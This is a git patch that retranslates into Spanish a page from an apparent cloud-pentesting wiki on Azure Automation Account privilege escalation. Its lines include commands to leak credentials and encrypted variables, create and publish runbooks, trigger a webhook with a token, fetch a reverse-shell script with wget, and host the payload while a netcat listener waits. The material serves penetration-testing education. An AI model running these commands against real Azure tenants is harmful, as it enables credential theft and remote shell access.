From 912c4147a979c8473112abdd716b53b9f414049a Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 May 2025 11:45:44 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-automation-accounts-privesc.md | 39 ++++++------------- 1 file changed, 12 insertions(+), 27 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index ccbb48a4a..09fa0cb07 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -47,9 +47,9 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Nota cómo el script anterior puede ser utilizado para **leak the useranmd and password** de una credencial y el valor de una **encrypted variable** almacenada en la Automation Account. +Tenga en cuenta cómo el script anterior se puede utilizar para **filtrar el nombre de usuario y la contraseña** de una credencial y el valor de una **variable encriptada** almacenada en la Cuenta de Automatización. -El permiso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite al usuario publicar un Runbook en la Automation Account para que los cambios se apliquen: +El permiso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite al usuario publicar un Runbook en la Cuenta de Automatización para que los cambios se apliquen: ```bash az automation runbook publish \ --resource-group \ @@ -69,7 +69,7 @@ El permiso **`Microsoft.Automation/automationAccounts/jobs/output/read`** permit az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Si no hay Runbooks creados, o si deseas crear uno nuevo, necesitarás los **permisos `Microsoft.Resources/subscriptions/resourcegroups/read` y `Microsoft.Automation/automationAccounts/runbooks/write`** para hacerlo utilizando: +Si no hay Runbooks creados, o si deseas crear uno nuevo, necesitarás los **permisos `Microsoft.Resources/subscriptions/resourcegroups/read` y `Microsoft.Automation/automationAccounts/runbooks/write`** para hacerlo usando: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` @@ -134,31 +134,16 @@ az rest --method PUT \ }' ``` > [!TIP] -> En el ejemplo anterior, el id del jobchedule se dejó como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como ejemplo**, pero necesitarás usar un valor arbitrario para crear esta asignación. +> En el ejemplo anterior, el id del jobchedule se dejó como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como ejemplo** pero necesitarás usar un valor arbitrario para crear esta asignación. ### `Microsoft.Automation/automationAccounts/webhooks/write` Con el permiso **`Microsoft.Automation/automationAccounts/webhooks/write`** es posible crear un nuevo Webhook para un Runbook dentro de una Cuenta de Automatización utilizando el siguiente comando. - -Ten en cuenta que necesitarás **indicar la URI del webhook** con el token a utilizar. ```bash -az rest --method PUT \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ ---body '{ -"name": "", -"properties": { -"isEnabled": true, -"expiryTime": "2026-01-09T20:03:30.291Z", -"parameters": {}, -"runOn": null, -"runbook": { -"name": "" -}, -"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" -} -}' - -# Then, to call the runbook using the webhook +New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true +``` +Este comando debería devolver un URI de webhook que solo se muestra en la creación. Luego, para llamar al runbook usando el URI del webhook. +```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` @@ -190,7 +175,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como los siguientes (esto utiliza Github como ejemplo): +Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como los siguientes (esto usa Github como ejemplo): ```bash az automation source-control create \ --resource-group \ @@ -264,13 +249,13 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso. -- Paso 5 — Publicar archivo de configuración +- Paso 5 — Publicar Archivo de Configuración El archivo de configuración se ejecuta, lo que resulta en que el script de shell inverso se despliega en la ubicación especificada en la VM de Windows. -- Paso 6 — Alojar carga útil y configurar el oyente +- Paso 6 — Alojar Carga Útil y Configurar Escucha -Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un oyente de Netcat para capturar conexiones entrantes. +Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un listener de Netcat para capturar conexiones entrantes. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443